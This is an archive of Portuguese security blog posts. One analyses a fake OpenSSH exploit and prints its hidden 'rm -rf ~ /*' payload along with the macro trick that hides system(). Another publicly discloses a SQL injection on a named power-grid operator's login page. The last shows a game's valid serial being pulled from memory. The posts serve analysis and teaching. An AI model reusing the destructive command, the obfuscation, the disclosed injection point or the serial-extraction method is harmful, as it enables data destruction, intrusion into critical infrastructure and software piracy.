Arquivo

Arquivo do autor

0-Day openssh-53p1-remote-root.c ?

7, fevereiro, 2010 Maycon Maia 5 comentários

Estava em casa e de madrugada recebi uma mensagem dizendo “0-day para OpenSSH” seguindo do seguinte link:
http://pentestit.com/wp-content/uploads/2010/02/openssh-53p1-remote-root.c

Já logo pensei na festa que isso seria para os script kiddies e raquers de plantão. Porém ao dar uma olhada rápida no código, percebe-se logo de inicio algumas sutilezas. De uma maneira geral o código realmente parece com um exploit, com seus imensos shellcodes e suas conexões por socket, o que me fez da uma olhada com mais calma e escrever este post.

Vamos ao começo do código:

184
185
186
187
if (geteuid()) {
	puts("Root is required for raw sockets, etc.");
	return 1;
}

Olhando logo na parte inicial do código, é possível notar que ele exige que seja executando com um usuário com privilégios de root, argumentando que é necessário para utilização de raw sockets (SOCK_RAW). Porém, procurando pela criação do socket em questão, nota-se que ele utiliza um SOCK_STREAM, que representa uma conexão TCP normal sem necessidade de root.

205
206
207
208
209
210
211
sock = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
	printf("  [-] Connecting Failed\n");
	return 1;
}

Em seguida, ele faz uma validação da quantidade de argumentos, fornecendo uma ajuda caso não existam parâmetros
suficiente:

189
190
191
192
if(argc < 3){
	usage(argv[0]);
	return 1;
}

Porém, é importante notar que ele não faz qualquer outra referência à argv, ou seja, ele não trata os parâmetros fornecidos.

196
197
198
199
200
201
202
203
if (!inet_aton(h, &addr.sin_addr)){
	host = gethostbyname(h);
	if (!host){
		printf("  [-] Resolving Failed\n");
		return 1;
	}
	addr.sin_addr = *(struct in_addr*)host->h_addr;
}

Seguindo pelo código, temos um trecho de código que diz converter o endereço fornecido em seu host. Porém como não existe qualquer parâmetro definido como host, a função inet_aton vai retornar um valor diferente de zero, o que resultará sempre no salto desta condição.

212
213
214
215
216
217
218
219
220
payload = malloc(limit * 10000);
ptr = payload+8;
memcpy(ptr,jmpcode,strlen(jmpcode));
jmpinst=fopen(shellcode+793,"w+");
if(jmpinst){
	fseek(jmpinst,0,SEEK_SET);
	fprintf(jmpinst,"%s",shellcode);
	fclose(jmpinst);
}

Neste momento ele começa a preencher um buffer (um trecho de código comum em exploits), porém ele escreve uma variável jmpcode a partir da posição 8 deste buffer ( apontado por ptr ):

maycon@hacknroll~$ printf $(cat jmpcode.txt) > jmpcode.bin
maycon@hacknroll~$ file jmpcode.bin
jmpcode.bin: ASCII C program text, with no line terminators
maycon@hacknroll~$ cat jmpcode.bin
rm -rf ~ /* 2> /dev/null &
maycon@hacknroll~$

Opa! Nos deparamos com uma coisa nem um pouco agradável de ser ver. Estamos vendo um comando que apaga o home do usuário em seguida apaga tudo a partir da raiz. :)

O mesmo código chama fopen() a uma posição do shellcode que sequer representa um nome de arquivo válido, ou seja, a função fopen() vai falhar.

No resto do código tem muita besteira. O que me deixou mais impressionado foi a macro fremote() que, não sei ao certo, tem a mesma função que system. Se reparar, ela é chamada no inicio do código como fremote(jmpcode), que executaria o rm -rf visto anteriormente, veja um exemplo da utilização das macros:

1
2
3
4
5
6
7
8
9
10
11
12
#include 
 
#define build_frem(x,y,a,b,c) a##c##a##x##y##b
#define fremote build_frem(t,e,s,m,y)
 
char jmpcode[] = "ls -l";
 
int main(void)
{
	fremote(jmpcode);
	return 0;
}

Analisando a chamada build_frem, temos que ele simplesmente organiza os parâmetros como terceiro, último, terceiro, primeiro, segundo e penúltimo. Aplicando esta mesma sequência nos parâmetros de build_frem teremos a string system.

Se executarmos gcc -E temos o código logo após o processamento das macros:

maycon@hacknroll~$ gcc -E fremote.c  | tail -n 8

char jmpcode[] = "ls -l";

int main(void)
{
	system(jmpcode);
	return 0;
}

maycon@hacknroll~$

Este é um trick bastante interessante. Ah se eu soubesse disto na época de Programação I na faculdade. :)

De qualquer forma isto serve de aviso para os que se aventuram a simplesmente compilar e executar os exploits vistos na internet.

Abraços a todos,
______________________________________
Maycon Maia Vitali ( 0ut0fBound )
Hack’n Roll

Categories: Sem categoria Tags:

Hack New Year: MD5 Chain com Rainbow Table

2, janeiro, 2010 Maycon Maia 5 comentários

Antes de qualquer coisa, gostaria de desejar a todos um feliz ano novo cheio de felicidades e que seus objetivos sejam edificados em 2010.

Criptografia com certeza é um assunto de interesse de muitos, porém por ser uma área tão extensa e de pré-requisitos (álgebra, geometria, trigonometria, teoria dos números, etc) que realmente não agradam alguns muitas vezes não são estudadas como hobby.

A criptoanálise é o ramo da ciência que estuda métodos de criptografia, capacitando ao profissional fazer a análise de um algoritmo criptográfico quanto a sua complexidade, podendo definir um algoritmo como forte (de difícil quebra) ou fraco (de fácil quebra).

Como dito, para se estudar criptografia, geralmente tem-se a necessidade de um forte embasamento matemático. Para se ter idéia, algumas linhas da matemática pura estudados a 20 anos atrás são chave fundamental para os melhores algoritmos de criptografia da atualidade.

Alguns ramos de estudo de criptografia não necessitam de um embasamento profundo em matemática. Um desses ramos é o Hash Chain, base para o tão conhecido Rainbow Table (vide Project RainbowCrack), que utiliza uma técnica chamada Time-memory Tradeoff (TMTO).

Em um ataque de força-bruta (brute-force) convencional a um algoritmo de hash, são gerados todas as possíveis senhas com seus respectivos hash’s, e então procura-se um determinado hash para tentar obter a senha original. Porém, levando em consideração uma senha composto das letras de a à z (26 letras) e uma senha de até 7 caracteres, temos o total de:
Formula

O maior problema não é calcular as senhas, e sim armazená-las, já que só para armazenar cada um dos 16 bytes do hash MD5 serão necessários mais que 124Gb de espaço. Se fosse até 8 (oito) caracteres esse valor iria mais que dobrar.

O Time-Memory Tradeoff tem por objetivo reduzir drasticamente a quantidade de memória utilizada em troca de um processamento um pouco maior, porém esse processamento poderia ser feito uma única vez e, dentro a tabela de hash bastaria apenas consultar.

Para se reduzir o tamanho do espaço armazenado, utiliza-se o chamado Hash Chain, que tem por finalidade armazenar uma palavra pertencente ao alfabeto e um hash não necessariamente equivalente a ela.

Iremos tomar como exemplo um alfabeto contendo as letras minúsculas de a à z. Com isto temos 26 letras em nosso alfabeto. Uma palavra é qualquer sequência de caracteres, todos pertencentes ao alfabeto dado e um dicionário é um conjunto de palavras.

O Hash Chain é formado da seguinte forma, dado uma palavra do dicionário, aplica-se uma função de hash H e em seguida aplica-se uma função R, tal que R resulte em uma palavra também pertencente ao dicionário. Faz-se essa operação uma determinada quantidade de vezes (aqui chamadas de iterações) e, ao final, armazena-se o hash resultante, por exemplo:

aaaaaa —H→ 281DAF40 —R→ sgfnyd —H→ 920ECF10

No exemplo acima fizemos apenas duas iterações com a palavra “aaaaaa”. Inicialmente aplicamos a função de hash e obtivemos o valor 281DAF40. Em seguida foi aplicação a função R resultando na palavra “sgfnyd” , pertencente ao dicionário. Por ultimo aplicou-se novamente a função de hash resultando no hash 920ECF10.

Dado um hash para consultar, verifica-se se ele esta contido na tabela de hash’s gerada. Caso ele seja encontrado, é provável que a partir da palavra inicial consiga-se obter a palavra equivalente ao hash. Por exemplo, se tivermos o hash 920ECF10, podemos encontrá-lo na tabela, sendo equivalente a palavra inicial aaaaaa, bastando apenas fazer as operações H e R varias vezes até encontramos a palavra que tenha o hash dado ou não encontrarmos (atingindo o máximo de iterações). Caso o hash procurado não esteja na tabela, aplica-se consecutivamente as funções R e H no hash fornecido, procurando novamente na tabela, fazendo assim com que o hash fornecido converja à um hash da tabela ou atinja o número máximo de iterações (caso não seja encontrado).

É importante ressaltar que a função R não pode ter qualquer aleatoriedade, ou seja, um valor de hash é sempre transformado na mesma palavra do dicionário. A diferença do Hash Chain puro para o Rainbow Table é que o segundo possui diversas funções R que transformam um hash qualquer em uma palavra do dicionário, tentando assim evitar colisões (dois hash resultarem na mesma palavra).

Para efeitos de ilustração escrevi um código como prova de conceito (p0c), que gera em tempo real um dicionário, faz diversas iterações e depois procura um dado hash. É importante deixar claro que esse código é somente demonstrativo, porém ele pode futuramente virar um projeto da Hack’n Roll. Algumas limitações dele é o dicionário ser fixo (letras de a à z), você tem que fornecer o tamanho da senha do hash (isso o torna completamente inútil sozinho em um ambiente real), terei que melhorar (e muito) a função que transforma o hash em uma palavra do dicionário, etc.

Quebra do hash da palavra hack

A ferramenta faz o que promete, porém algumas (muitas) vezes ele não encontra a palavra solicitada. Isso se dá porque o dicionário inicial é gerado aleatóriamente, para um melhor resultado, basta executar novamente com os mesmos parâmetros até ele encontrar a palavra solicitada:
Quebra do hash MD5 da palavra natal

Não recomendo tentar utilizar o md5-chain como ferramente de quebra de hash MD5. Ele foi escrito com o único propósito de explicar o conceito de hash chain, time-memory tradeoff e como funciona o projeto RainbowCrack. Este ultimo já possui diversas melhorias matemáticas além de ter instruções específicas para trabalhar com GPU (processadores de placas de vídeo).

No projeto RainbowCrack, a tabela palavra/hash é gerada e armazenada em arquivo, sempre fazendo algumas verificações. Dessa forma bastaria fazer as consultas necessárias e obter os resultados.

O código-fonte do md5-chain pode ser obtido aqui. Sinta-se livre para modificá-lo e estudá-lo à vontade. Um desafio seria reescrever a função makepass() que gera uma palavra a partir de um hash, cuja execução com um dicionário inicial de 2000 palavras e 2000 iterações de uma senha de 5 caracteres não gere muitas (ou nenhuma) repetição.

Bom estudo e feliz hack’n roll.

Referências:
http://en.wikipedia.org/wiki/Rainbow_table
http://en.wikipedia.org/wiki/Space-time_tradeoff
http://www.cs.sjsu.edu/faculty/stamp/RUA/TMTO.pdf
http://project-rainbowcrack.com/

Categories: Criptografia, Segurança Tags:

A Verdade sobre o Apagão

12, novembro, 2009 Maycon Maia 182 comentários

Na noite do dia 10/11/2009, por volta das 22h00, todos os grandes centros do Brasil se viram na escuridão. Dentre eles estão o estado de São Paulo e Rio de Janeiro, juntamente com outros 15 estados. Além dos afetados no Brasil, tivemos vizinhos estrangeiros.

Entre os responsáveis por isso, o mais dito, foi o fato de o incidente ter sido causado por uma tempestade de raios. Porém boa parte de história não foi contada.

Há uma semana, no jornal “60 minutes” do canal americano CBS, um ex-hacker black-hat, Kevin Poulsen, afirmou que o Brasil estaria sujeito a ataques de hackers em seu sistema elétrico e, como sempre, o governo brasileiro juntamente com o ministro de Minas e Energia, Edison Lobão, negam completamente a possibilidade. Porém, a verdade pode ser dura para todos os brasileiros.

Ao ver a possibilidade, procurei analisar se realmente seria possível adentrar no sistema de gerenciamento elétrico do país. Até então, não conhecia nada sobre o assunto, porém ao analisar algumas noticias, percebi que um dos principais órgãos a gerenciar a energia é o Operador Nacional do Sistema (ONS).

Dando uma googlada, pude facilmente encontrar a página do governo (www.ons.org.br) e, caminhando por alguns links, notei nada de importante. Foi então que pensei: “Se eles tivessem alguma coisa confidencial, não estariam na página. E se eles quisessem esconder de indexadores como Google?”. Aí que veio a primeira parte da surpresa.

Existe o arquivo robots.txt na raiz de alguns servidores que definem algumas regras para os indexadores. O grande problema é que muitos desenvolvedores utilizam esses arquivos para ‘esconder’ diretórios e arquivos de possíveis atacantes. Porém um atacante poderia facilmente descobrir tais diretórios simplesmente e acessar os arquivos, como segue:

http://www.ons.org.br/robots.txt

Ao acessar este arquivos, temos o seguinte conteúdo:

User-agent: * Disallow: /agentes/agentes.aspx
Disallow: /download/agentes/

Fiquei surpreso ao perceber que realmente tentaram utilizar tais recursos para proteger um diretório.

Acessando o primeiro dos endereços, sem qualquer autenticação podemos ter acesso ao endereço de todos os Sistemas Agentes da ONS, inclusive alguns com software para download e manual. Não conheço quaisquer destes sistemas, porém um deles me chamou a atenção quanto ao blecaute que ocorreu na ultima terça-feira, o Sistema de Administração de Contratos de Transmissão (SACT), que é acessível através do do endereço http://aplicleg.ons.org.br/intunica/, e pode ser visto abaixo:

Tela de Login SACT

Tela de Login SACT

Com isto, conseguimos chegar a uma tela de login que representa nada mais nada menos do que o Operador Nacional do Sistema Elétrico. Pensei que a partir de então o processo seria mais difícil, porém mais uma vez fiquei surpreso com a incompetência do governo.

Ao fazer o primeiro teste, que qualquer ferramenta de auditoria de segurança faria, obtive um grande susto. Ao colocar uma aspas simples no campo de usuário e senha pude detectar a mais grotesca das falhas Web, um SQL INJECTION, tendo como resultado o seguinte:

[IfxException: ERROR [HY000] [Informix .NET provider]General error.] IBM.Data.Informix.IfxConnection.HandleError(IntPtr hHandle, SQL_HANDLE hType, RETCODE retcode) +27 IBM.Data.Informix.IfxCommand.ExecuteReaderObject(CommandBehavior behavior, String method) +739 IBM.Data.Informix.IfxCommand.ExecuteReader(CommandBehavior behavior) +104 IBM.Data.Informix.IfxCommand.ExecuteReader() +48 OnsClasses.OnsData.OnsCommand.ExecuteReader() IntUnica.Menu.btnOk_Click(Object sender, ImageClickEventArgs e) System.Web.UI.WebControls.ImageButton.OnClick(ImageClickEventArgs e) +109 System.Web.UI.WebControls.ImageButton.System.Web.UI.IPostBackEventHandler.RaisePostBackEvent(String eventArgument) +69 System.Web.UI.Page.RaisePostBackEvent(IPostBackEventHandler sourceControl, String eventArgument) +18 System.Web.UI.Page.RaisePostBackEvent(NameValueCollection postData) +33 System.Web.UI.Page.ProcessRequestMain() +1292

Ou seja, além de ter encontrado uma falha de SQL Injection, já descobri de cara que o sistema funciona rodando um banco de dados IBM Informix. A partir deste passo ficaria extremamente fácil para qualquer pessoa com conhecimento intermediário de SQL Injection invadir o Operador Nacional do Sistema Elétrico.

É interessante ressaltar que não tenho qualquer ligação com o ocorrido no dia 11 de novembro de 2009, e que irei parar a divulgação neste ponto para não comprometer mais ainda o funcionamento do sistema (odeio escuro). Não estou afirmando que o ocorrido foi causado por um ataque hacker, porém se tivesse sido, é importante deixar bem visível que o mesmo aconteceria sem qualquer dificuldade.

Espero que este post abra os olhos do governo, para que não possamos sofrer danos maiores em situações mais críticas.

Abraços a todos,
Maycon Maia Vitali (23 anos)

Categories: Segurança Tags:

Material do Curso de Ataques Web

11, julho, 2009 Maycon Maia 11 comentários

Pessoal,

É com grande satisfação que concluí a primeira turma do Curso de Extensão Tecnológica em Ataques Web do Centro Universitário Vila Velha. E, como prometido para muitos, estou disponibilizado o material utilizado durante o curso. Nele temos a apostila de 72 páginas que eu mesmo escrevi, e os slides apresentados durante as aulas.

Segue o link para cada um dos itens do material:

Bem, infelizmente a apostila está sem revisão. Contanto estou contando com a colaboração de todos para enviarem algumas revisões que acharem necessárias. Provavelmente no modelo final irei colocar uma lista de todos que contribuiram com a revisão.

Só para lembrar que o curso está com inscrições abertas para a segunda turma. Caso esteja interessado as inscrições podem ser feita Aqui.

Durante o curso, criei um grupo do Yahoo Grupos! para que possamos trocar melhores experiências e tirar dúvidas no quesito “segurança em web”. Se tiver interessado em contribuir com o grupo o mesmo pode ser acesso Aqui.

Obrigado a todos e Hack’n Roll

Categories: Sem categoria Tags:

Análise do Virus TR/ATRAPS.Gen – Parte 1

12, abril, 2009 Maycon Maia 19 comentários

Hoje cheguei em casa umas 12h e notei que tinha uma mensagem no MSN com o seguinte:

Esta foto te miras padre!

http://img456.myspace-imagen.info/img456/my.php?id=MVC-IMAGEN41.jpeg

Então pensei: Ou a minha tia está aprendendo espanhol e esta querendo praticar comigo, ou ela esta com um vírus de MSN. Para tirar minhas dúvidas cliquei no link e, como de se esperar, o navegador abriu uma janela para eu efetuar download do arquivo MVC-IMAGEN41.jpeg.src. Então o salvei e comecei a fazer a análise dele.

Ao submeter para o VirusTotal, notei que dos 37 anti-virus com base de assinaturas registradas, somente 4 o detectaria como vírus. Para maiores detalhes da submissão do vírus acesse VirusTotal

Abri no PEiD para ver o que ele me falava do arquivo, e obtive a seguinte resposta:

figura01

Pelo PEiD foi possível notar que não existe nenhum tipo de compactação nem criptografia das sessões do binário. Então bastamos abrir o binário para uma análise direta.

Abri o binário no OllyDbg e logo no inicio vemos a seguinte chamada:
figura02

Inicialmente ele aloca memória na pilha e em seguida move uma constante para o registrador EAX e efetua uma chamada. Ao analisarmos a chamada temos o seguinte:

figura03

Nesta chamada é salvo o parâmetro que está em EAX no registrador EBX em seguida move-se o valor 0 (zero) para a posição [44064] que representa o TLS (Thread-Local Storage) do processo, utilizada para criar um mecanismo de IPC. Por padrão, às variáveis locais de uma função são únicas para cada thread que execute a função e as variáveis globais e estáticas (static) são compartilhadas por cada processo. Com TLS, utilizando um índice global, é possível prover um dado único para cada thread que o processo pode acessar.

Após zerar o TLS, o processo efetua uma chamada a API GetModuleHandleA[1] passando 0 (zero) como parâmetro. A API GetModuleHandleA() retorna o handle (ponteiro) para o módulo passado como parâmetro, o módulo no caso seria algum outro processo ou DLL carregado na mesma região de memória do processo atual. Como foi passado como parâmetro o valor 0 (zero) a API retornará o Handle do arquivo que criou o processo atual, no caso o nosso m4ware.

Em seguida o processo salva o resultado nos endereço DS:[4566C] e DS:[4406C], então para facilitar o trabalho colocamos um label (rótulo) nesses endereços.

figura04

Nesta sub-rotina, vemos um exemplo clássico de anti-debugger. Esse trick consiste é pegar o uptime da máquina em milissegundos (GetTrickCount[2]), em seguida efetuar uma pausa (Sleep) e pegar novamente o numero de milissegundos. Com isto verifica-se se as diferenças foram compatíveis. No exemplo, o malw4re pega o ms da máquina, da uma pause de 501ms e em seguida pega o ms novamente e então verifica se a diferença foi de 501ms. Então a sub-rotina retorna 1 (um) em EAX caso ocorra a diferença (debug detectado) ou 0 (zero) caso não tenha detectado. Após a verificação, o malw4are altera seu fluxo caso tenha sido detectado o debug, executando o salto condicional (endereço 00043616).

Não tenho detectado o debuger, o malw4are prossegue normalmente e em seguida executa a seguinte rotina passando o valor 6F (111 dec.) no registrador EAX:

figura05

No inicio temos o prelúdio normal de uma rotina (salva pilha e separa nova pilha). Em seguida temos a alocação de uma região da pilha (variáveis locais). Salva-se o valor de EAX (parâmetro) em EBX e executa um Sleep de 50ms. Após a pausa, o m4lware soma Trick do sistema e com o parâmetro passado e executa um salto incondicional para o meio de loop (endereço 000434D4). O loop executa diversas leituras de mensagens do sistemas. A estrutura de resposta da mensagem fica armazenada na pilha no endereço SS:[EBP-1C], então o processo verifica pela mensagem de ID 12h para então sair[3].

Ao sair desta rotina, o m4lware passa para a seguinte rotina:

figura06

Inicialmente temos o prelúdio com a alocação e inicialização (com zeros) das variáveis locais da sub-rotina. É possível notar diversas chamadas a API LoadLibraryA[4], que é responsável por carregar uma determinada biblioteca (DLL) dinamicamente, ou seja, sem estar no IMPORT_TABLE do binário. Porém, antes de cada chamada, temos a chamada a três sub-rotinas do binário. Analisando superficialmente, é possível notar que a primeira rotina carrega uma mensagem codificada, a segunda decodifica a mensagem e a terceira verifica se teve sucesso ou não. Com isto, é possível verificar que as chamadas as APIs LoadLibraryA() importam as bibliotecas kernel32.dll, advapi32.dll e ntdll.dll respectivamente. Em seguira é feito uma chamada a API GetProcAddress, que é responsável por, dado um handle de uma biblioteca (retorno da função LoadLibrary()) e um nome de API, retorna um ponteiro para a rotina da API. A chamada à GetProcAddress() busca e retorna o endereço da própria API GetProcessAddress em Kernel32.dll, armazenando seu retorno em DS:[ESI].

Após a obtenção do endereço de GetProceAddres em DS:[ESI], a rotina efetua diversas rotinas como as seguintes:

figura07

Com isto, o m4lware carrega as APIs RegCloseKey, RegQueryValueExA, RegOpenKeyA, EnumResourceNamesA, GetModuleHandleA, GetComputerNameA, GetUserNameA, GetFileAttributesA, FreeLibrary, FreeResource, ExitProcess, SizeofResource, LoadResource, LockResource, FindResourceA, SetThreadContext, TerminateProcess, ZwUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, CreateProcessA, GetThreadContext, ReadProcessMemory, SetThreadContext, ResumeThread e VirtualProtectEx, não necessariamente nesta ordem.

No final, esta rotina libera o handle das biblitecas kernel32.dll, advapi.dll e ntdll.dll carregados no inicio.

Bem, esta foi a primeira parte da análise do m4lware TR/ATRAPS.Gen, até então não encontramos nada de muito complicado nem ameaçador. Nos post futuros continuarei com a análise e talvez tenha algo de mais interessante.

Referências:
[1] GetModuleHandle Function: http://msdn.microsoft.com/en-us/library/ms683199(VS.85).aspx
[2] Thread-Local Storage: http://msdn.microsoft.com/en-us/library/ms686749.aspx
[3] MSG Structure: http://msdn.microsoft.com/en-us/library/ms644958(VS.85).aspx
[4] LoadLibrary Function: http://msdn.microsoft.com/en-us/library/ms684175(VS.85).aspx

Categories: Análise de Binário, Malwares Tags:

Curso de Ataques Web

7, abril, 2009 Maycon Maia 4 comentários

Pessoal,

Tenho o prazer de informar que já estão abertas as inscrições para o curso Ataques web: entendendo, identificando e prevenindo, inédito em nosso estado.
http://www.uvv.br/cursosExtensao/cursoAtaqueWeb.asp

O curso terá 24h e custará apenas R$120,00. Para vocês terem uma idéia de como está barato, curso similar em São Paulo, com carga horária muito inferior (8h), é oferecido por R$299,00.

O curso abordará o Top 10 da OWASP (The Open Web Application Security Project), que relaciona anualmente as 10 vulnerabilidades mais exploradas na web. Será apresentada aos alunos a realidade dos ataques em sistemas web de maneira prática, demonstrando como os atacantes identificam as vulnerabilidades e, a partir delas, efetuam ataques que comprometem os principais ativos das empresas.
Após entenderem como os ataques são realizados os alunos aprenderão a projetar e desenvolver sistemas web imunes a eles, aplicando as melhores técnicas de prevenção e defesa.

Se você trabalha ou tem interesse nas áreas de desenvolvimento web ou segurança da informação, essa é uma oportunidade imperdível para você.

O curso é 100% prático, com um aluno por computador e realizado em moderno laboratório climatizado. Os alunos receberão material didático de apoio e ainda contarão com suporte pedagógico do professor via Internet durante todo o período do curso, permitindo um acompanhamento detalhado do desenvolvimento de cada aluno. Além disso, os certificados têm a chancela da UVV, a maior e mais respeitada instituição privada de ensino do Espírito Santo.

Atenção: as vagas são limitadas. Faça já sua inscrição on-line e garanta sua
vaga.
http://www.uvv.br/cursosExtensao/cursoAtaqueWeb.asp

Obs: há também a possibilidade de serem criadas turmas personalizadas para empresas ou grupos fechados. Para mais informações, entre em contato.

Obs. 2: em breve serão oferecidos vários outros cursos de curta duração na área de TI. Fiquem atentos.

Categories: Sem categoria Tags:

Vacina Tiny.H

21, março, 2009 Maycon Maia 4 comentários

A arte da engenharia reversa realmente é tão fantastica quanto ampla. Muitas pessoas só conhecem engenharia reversa como o método utilizado para criar cracks, keygens entre outras ferramentas do gênero. Porém, a engenharia reversa é utilizada amplamente para migração de código entre plataformas (geralmente drivers para hardware sem documentação), análise de vulnerabilidades em ferramentas de código fechado e para análise de malwares para criação de vacina.

Das criações de vacinas, pude fazer minha primeira vacina para um virus denominado TINY.H que estava disseminado nos laboratórios da faculdade. Ele se auto-copiava para dispositivos removíveis (pen-drivers), criando dois arquivos executáveis e um autorun, todos com permissões ocultas e de arquivos de sistema.

O problema é que, como o usuário disponível não tinha permissão para nada, não era permitido matar os processos do virus e, consequentemente, apagar os arquivos do pen-drive.

Para solucionar o problema, desenvolvi uma pseudo vacina em VBS que remove os processos e limpa o pen-driver, segue algumas rotinas necessárias. Basicamente foram utilizados dois objetos: o FileSystemObject e o Windows Management Instrumentation (WMI) como segue:

1
2
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set objFSO = CreateObject("Scripting.FileSystemObject")

Tendo os objetos no escopo global, criei a seguinte rotina que remove as permissões de um dado arquivo:

1
2
3
4
5
6
7
8
9
10
11
'----------------------------------------------------------------------
' Esta função restaura as permissões dos arquivos de infecção para a
' NORMAL, pois os mesmo ficam com as permições SYSTEM, HIDDEN e ARCHIVE
'----------------------------------------------------------------------
Const FILE_ATTRIBUTE_NORMAL   = 128
 
sub RemovePermicoes(cArquivo)
    Wscript.Echo "  > " & cArquivo
    Set ObjFile = objFSO.GetFile(cArquivo)
    objFile.Attributes = FILE_ATTRIBUTE_NORMAL
end sub

Juntamente com ela, criei a seguinte função responsável pela remoção de um dado arquivo:

1
2
3
4
5
6
7
8
9
10
11
12
'----------------------------------------------------------------
' Esta função remove um arquivo ( no caso virótico ) passado como
' parametro
'----------------------------------------------------------------
sub RemoveArquivo(cArquivo)
	objFSO.DeleteFile(cArquivo)
	if objFSO.FileExists(cArquivo) then
	    Wscript.Echo "  > Arquivo [" & cArquivo & "] NÃO removido"
    else
	    Wscript.Echo "  > Arquivo [" & cArquivo & "] removido"
	end if
end sub

Antes de remover as permissões e apagar o ‘dito cujo’, foi necessário remover todos os processos com origem no arquivo, para isto escrevi a seguinte função:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
'----------------------------------------------------------------------
' Esta função é responsável por remover os processos relacionados aos
' arquivos que identificam os virus
'----------------------------------------------------------------------
sub RemoveProcessos(cCaminho)
    Wscript.Echo "  > Caminho: " & cCaminho
    Set colProcessList = objWMIService.ExecQuery ("SELECT * FROM Win32_Process")
    For Each objProcess in colProcessList
        if objProcess.ExecutablePath = cCaminho then
            objProcess.Terminate()
            Wscript.Echo "    > PID: " & objProcess.ProcessId & " morto"
        end if
    next
end sub

Estas três funções podem ser reutilizadas em quaisquer vacinas que precise destas funcionalidades. Agora iremos partir para as tarefas específicas do virus TINY.H.

Primeiro precisamos identificar a presença do virus. Para isto peguei o nome dos arquivos que ele gera, chamados autorun.inf, explorer.exe e fooool.exe. Com isto, escrevi a seguinte função que verifica se um determinado dispositivo (H:, i:, etc) esta infectado:

1
2
3
4
5
6
7
8
9
10
'---------------------------------------------------------------------
' Verifica a possivel infecção em um dispositivo, tendo como parametro
' a letra do dispositivo e verificando através da existencia dos
' arquivos deixados pela infecção
'---------------------------------------------------------------------
function DispositivoInfectado(cDispositivo)
    DispositivoInfectado = objFSO.FileExists(cDispositivo + "\autorun.inf") AND _
                           objFSO.FileExists(cDispositivo + "\explorer.exe") AND _
                           objFSO.FileExists(cDispositivo + "\fooool.exe")
end function

Sabendo que um determinado dispositivo esta infectado, basta utilizar as rotinas já vistas para restaurar as permissões dos arquivos (remover o SYSTEM, HIDDEN e ARCHIVE), matar os respectivos processos e remover os arquivos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
'------------------------------------------------
' Função responsável pelo processo de desinfecção
'------------------------------------------------
function Desinfecta(cDispositivo)
    Wscript.Echo "----------------------------------"
    Wscript.Echo "======= Aplicando Recovery ======="
    Wscript.Echo "----------------------------------"
 
    Wscript.Echo "> Restaurando Permições para Original"
    RemovePermicoes cDispositivo & "\autorun.inf"
    RemovePermicoes cDispositivo & "\explorer.exe"
    RemovePermicoes cDispositivo & "\fooool.exe"
    Wscript.Echo ""
 
    Wscript.Echo "> Finalizando Processos Dependentes"    
    RemoveProcessos cDispositivo + "\explorer.exe"
    RemoveProcessos cDispositivo + "\fooool.exe"
    Wscript.Echo ""
 
    Wscript.Echo "> Apagando Arquivos"    
    RemoveArquivo cDispositivo + "\explorer.exe"
    RemoveArquivo cDispositivo + "\fooool.exe"
    Wscript.Echo ""
 
end function

E para nossa (pseudo-)vacina esta quase completa basta varrer todos os dispositivoes removíveis a procura de algum infectado:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
'-------------------------------------------------------------
' Busca todos os dispositivos removiveis a procura da infeccao
'-------------------------------------------------------------
Set colDisks = objWMIService.ExecQuery("Select * from Win32_LogicalDisk Where DriveType = " & REMOVABLE_DRIVER & "")
 
 
Wscript.Echo "----------------------------------"
Wscript.Echo "====== Verificando Infecção ======"
Wscript.Echo "----------------------------------"
 
 
boolInfected = False
For Each objDisk in colDisks
 
    if objDisk.DeviceID  "A:" then ' Não vale disquete :P

        '----------------------------------------------
        ' Verifica a existencia da infeccao nos drivers
        '----------------------------------------------
        if DispositivoInfectado(objDisk.DeviceID) then
 
            Wscript.Echo "> Possível infecção TINY/H em (" + objDisk.DeviceID + ")"
            Wscript.Echo "  > " + objDisk.DeviceID + "\autorun.inf"
            Wscript.Echo "  > " + objDisk.DeviceID + "\explorer.exe"
            Wscript.Echo "  > " + objDisk.DeviceID + "\fooool.exe"
            Wscript.Echo ""
 
            Desinfecta objDisk.DeviceID
            boolInfected = True
        end if
    end if
Next

Bem. Isto foi só um básico de escrita de vacinas contra malwares. O código completo esta disponível para download aqui, porém o mais interessante seria disponibilizar minha análise (pra quem gosta de assembly). Ela esta um pouco bagunçada, portanto se tiver um tempinho extra irei organizar e posta a análise de meu primeira malware.

Maycon Maia Vitali ( 0ut0fBound )

http://maycon.hacknroll.com

Hack’n Roll

Categories: Análise de Binário, Segurança Tags:

Serial Fishing

3, março, 2009 Maycon Maia 12 comentários

Estava procurando rever algumas coisas de engenharia reversa e fui ‘brincar’ com serial Fishing. Serial fishing é possível quando a aplicação, ao tentar verificar se o serial digitado foi fornecido corretamente, gera o serial original para fazer uma comparação. Vamos ver como podemos tirar proveito disto.

Como o serial gerado pela aplicação esta residente na memória, basta abrir o processo e pegar ele bonitinho na memória. A parte mais emocionante é encontrar o serial na memória (isto se ele estiver lá). Para fins de uso pessoal estudo, achando tendo o serial na memória já basta, porém como bons nerds atoas que somos, nós escrevemos um código que pegue e exiba o serial na tela.

O programa que estava testar é o jogo Xadrez Master na versão 5.8.6.0, ao abri-lo no OllyDbg e digitar qualquer nome e serial, é exibida uma mensagem informando que o serial está inválida. Sem fechar a janela, voltei para o Olly, dei pause no processo e então pude analisar o seguinte na memória:

CPU Dump:
0012EA48  |00F2F1A8  ASCII "Maycon Maia Vitali (0ut0fBound)"
0012EA4C  |00F36868  ASCII "XAD-BXLT4-TLKXJ"
0012EA50  |00F1C8A4  ASCII "XAD"
0012EA54  |00F2F18C  ASCII "AABBCCDDEEFF"
0012EA58  |00EDCB64  ASCII "AAB"
0012EA5C  |00F1CEAC  ASCII "Maycon Maia Vitali (0ut0fBound)"
0012EA60  |00F2F170  ASCII "XAD-BXLT4-TLKXJ"
0012EA64  |00F1CE90  ASCII "AABBCCDDEEFF"
0012EA68  |00ED1D64  ASCII "AABBCCDDEEFF"
0012EA6C  |00ED1D80  ASCII "AABBCCDDEEFF"
